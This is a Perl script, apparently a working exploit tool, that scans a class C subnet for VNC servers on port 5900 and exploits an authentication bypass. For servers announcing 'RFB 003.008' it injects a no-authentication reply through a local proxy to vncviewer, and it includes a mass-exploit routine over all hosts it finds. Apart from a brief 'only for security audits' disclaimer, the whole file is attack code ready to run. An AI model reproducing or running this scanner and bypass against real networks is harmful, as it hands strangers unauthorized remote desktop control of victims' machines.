#!/usr/bin/perl -w

#coded by sha0@badchecksum.net

#i'm not responsible of the bad use you can do of this code
#only for security audits

#You have to install vncviewer, and the following perl modules:
#perl -MCPAN -e shell
#cpan>install threads
#...
#cpan>install IO::Socket
#...
#cpan>install IO::Select
#...

use IO::Socket;
use IO::Select;
use threads;

die "usage:  $0  <class C subnet> \n" if (@ARGV != 1);

my $subnet=$ARGV[0]; 	#clase C
my $timeout=4;
my @vncs;
my $ident="\x130\x112\x102\x50\x72\x72\x81\x70\x72\x72\x81\x16";
my @th;
my $ip;
my $i=1;
my $octets_per_thread=51;
my $lport=(int(rand(500))+10000);


&threaded_scan;
#&mass_exploit;
exit 1;


sub threaded_scan {
	print "Creating Threads\n";
	`rm $subnet.*.vncs -f`;
	#51 ips * 5 threads = 255 ips  (255 could be broadcas, will not be scanned)
	threads->set_stack_size((255/$octets_per_thread)*4096);
	for ($ip=0;$ip<255;$ip+=$octets_per_thread) {
		print "thread $i $subnet.($ip to ".($ip+$octets_per_thread-1).")\n";
		push (@th,threads->create('scan', \@vncs, $ip));
		$i++;
	}
	print "Scanning, wait a minut\n";
	threads->yield();
	sleep 30;
	print "Finishing the scan\n";
	@running = threads->list(threads::running);
	foreach $i (@running) {
		$i->join();
	}
	#threads->exit();
}



sub scan {
	my $start_octet = $_[1];
	my $vncs_ref=$_[0];
	my $end_octet = $start_octet+$octets_per_thread-1;
	my $octet;
	my $sock;
	my $buff;

	for ($octet=$start_octet;$octet<=$end_octet;$octet++) {
		$sock=IO::Socket::INET->new (
			PeerAddr=>"$subnet.$octet",
			PeerPort=>5900,
			Timeout=>$timeout
		);
		if ($sock) {
			$buff=&Recv($sock,5);	
			close($sock);
			#push (@$vncs_ref,"$subnet.$octet");	
			if ($buff!~/^RFB 003\.008/i) {
				print "$subnet.$octet open\n";
				`echo $subnet.$octet >> $subnet.safe.vncs`;#ptr is not useful here, perl open make locks
				&exploit("$subnet.$octet");

			} else {
				print "$subnet.$octet open y Vulnerable!!\n";
				`echo $subnet.$octet >> $subnet.vuln.vncs`;
			}
		} 
	}
}

sub mass_exploit {
	#This can be launched threaded too, but the source port has to be diferent each time ($lport++)
	my $v;

	print "Starting Mass Exploiting!!\n";

	open F, "$subnet.vuln.vncs" or die "There aren't vulnerable hosts\n";
	while (<F>) {
		threads->create('exploit',$_);
		$lport++;
	}
	close F;
	threads->yield();
	sleep 200;
	threads->exit();
	
}

sub exploit {
	#my $lport=5900;
	my $rport=5900;
	my $rhost=$_[0];
	my $buff;
	my $vulnerable=0;
	
	printf "Attacking $rhost vnc\n";

	my $out;
	my $in=IO::Socket::INET->new (
		LocalAddr=>'0.0.0.0',
		LocalPort=>$lport,
		Proto=>'tcp',
		Listen=>1,
		Reuse=>1
	) or die "cannot open port $!\n";

	if (!fork()) {
		sleep 2;
		`vncviewer 127.0.0.1::$lport 2>/dev/null 1>&2`;
		exit;
	}

	while (my $welcome=$in->accept()) {
		$out=IO::Socket::INET->new (
			PeerAddr=>$rhost,
			PeerPort=>$rport,
			Timeout=>20
		) or die "cannot connect $!\n";


		$buff=&Recv($out,5);
		$vulnerable=1 if ($buff =~ /^RFB 003\.008/);
		$welcome->send($buff);

		$buff=&Recv($welcome,5);
		$out->send($buff);

		#print "Modos de autenticación\n";
		$buff=&Recv($out,5);
		if ($vulnerable) {
			print "Es posible evadir la autenticación!!!\n";
			$welcome->send("\x01\x01");
		} else {
			print "No es posible evadir la autenticacion\n";
			$out->send($buff);
		}
	
		if (!fork()) {
			#proxy
			$out->blocking(1);
			$welcome->blocking(1);
			$out->autoflush(1);
			$welcome->autoflush(1);

			$s=IO::Select->new($out, $welcome);
		proxy:						#metasploit proxy algotithm
    			while(1) {
	      			my @ready = $s->can_read;
				foreach my $ready (@ready) {
        				if($ready == $welcome) {
          					my $data;
	          				$welcome->recv($data, 8192);
						last proxy if (! length($data));
						last proxy if(!$out || !$out->connected);
						#&muestra($data);
		          			eval { $out->send($data); };
		          			last proxy if $@;
		        		} elsif ($ready == $out) {
		          			my $data;
					        $out->recv($data, 8192);
						last proxy if(!length($data));
					        last proxy if(!$welcome || !$welcome->connected);
						#&muestra($data);
					        eval { $welcome->send($data); };
					        last proxy if $@;
	        			}
				}
	      		}
	    	}

	}
}


sub Recv {
	my ($sock,$timeout) = @_;
  	my $selector = IO::Select->new($sock);
  	my $data;

  	my $ready = $selector->can_read($timeout);
  	return -1 if (!$ready);

  	while(1) {
    		my $ready = $selector->can_read($timeout);
    		last if(!$ready);
    		$sock->recv($tempData,4096);
    		last if(!length($tempData));
    		$data .= $tempData;
  	}
  
	return($data);
}

sub muestra {
	my $data = $_[0];
	my @bytes = split(//,$data);
	my $b;

	foreach $b (@bytes) {
		print "0x".hex(ord($b))." ";
	}
	print "\n\n";
}

=eof
